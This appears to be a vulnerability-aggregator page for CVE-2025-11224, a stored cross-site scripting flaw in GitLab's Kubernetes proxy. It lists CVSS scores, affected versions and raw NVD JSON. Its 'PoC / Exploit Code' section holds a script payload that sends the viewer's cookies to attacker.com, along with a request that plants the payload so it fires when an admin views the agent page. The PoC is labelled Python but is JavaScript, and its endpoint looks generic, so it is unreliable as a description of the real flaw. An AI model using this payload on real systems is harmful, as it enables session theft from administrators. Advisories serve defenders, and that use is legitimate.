Security Vulnerability Report
中文
CVE-2025-11224 CVSS 7.7 HIGH

CVE-2025-11224

Published: 2026-01-14 19:16:41
Last Modified: 2026-01-21 21:14:33

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.3.6, 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated user to execute stored cross-site scripting through improper input validation in the Kubernetes proxy functionality.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 15.10 <= version < 18.3.6
GitLab CE/EE 18.4 <= version < 18.4.4
GitLab CE/EE 18.5 <= version < 18.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-11224 Stored XSS PoC for GitLab Kubernetes Proxy // This PoC demonstrates the XSS vulnerability in GitLab's Kubernetes integration // Step 1: Authenticate with GitLab and obtain access token const gitlabToken = 'YOUR_PRIVATE_TOKEN'; const gitlabUrl = 'https://YOUR_GITLAB_INSTANCE.com'; // Step 2: Create a malicious Kubernetes agent configuration with XSS payload const xssPayload = '<script>document.location="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"</script>'; // Step 3: Submit the payload through Kubernetes proxy endpoint const exploitEndpoint = `${gitlabUrl}/api/v4/projects/1/kubernetes_agent/config_file`; const payload = { name: 'malicious-agent', description: xssPayload, token: 'malicious-token' }; // Step 4: Send the crafted request fetch(exploitEndpoint, { method: 'POST', headers: { 'PRIVATE-TOKEN': gitlabToken, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => response.json()) .then(data => console.log('Exploit sent:', data)); // Note: The XSS will trigger when admin views the agent configuration page // The script will exfiltrate cookies to attacker-controlled server

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11224", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:40.943", "lastModified": "2026-01-21T21:14:32.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.10 before 18.3.6, 18.4 before 18.4.4, and 18.5 before 18.5.2 that could have allowed an authenticated user to execute stored cross-site scripting through improper input validation in the Kubernetes proxy functionality."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afectaba a todas las versiones desde la 15.10 anterior a la 18.3.6, la 18.4 anterior a la 18.4.4, y la 18.5 anterior a la 18.5.2 que podría haber permitido a un usuario autenticado ejecutar cross-site scripting almacenado mediante una validación de entrada incorrecta en la funcionalidad de proxy de Kubernetes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "15.10.0", "versionEndExcluding": "18.3.6", "matchCriteriaId": "46F0D894-F6E6-4E6B-A171-C520C019C033"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "15.10.0", "versionEndExcluding": "18.3.6", "matchCriteriaId": "65019DB4-32C0-49D1-BFE0-5A91FE346ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.4", "matchCriteriaId": "36824F52-C9A0-4FB3-91F3-05593E3551E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.4.0", "versionEndExcluding": "18.4.4", "matchCriteriaId": "6D0A238D-1278-4D05-86F5-4C323E0CFE36"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.2", "matchCriteriaId": "7E85D20B-EEE1-4CC9-B50A-4040972287D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.2", "matchCriteriaId": "B2A3A57F-C750-4C92-8C2B-C5FCF1D70F4F"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/11/12/patch-release-gitlab-18-5-2-released/", "source": "[email protected]", "tags": ["Patch", "Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/573223", "source": "[email protected]", "tags": ["Broken Link", "Issue Tracking"]}, {"url": "https://hackerone.com/reports/3277291", "source": "[email protected]", "tags": ["Permissions Required"]}]}}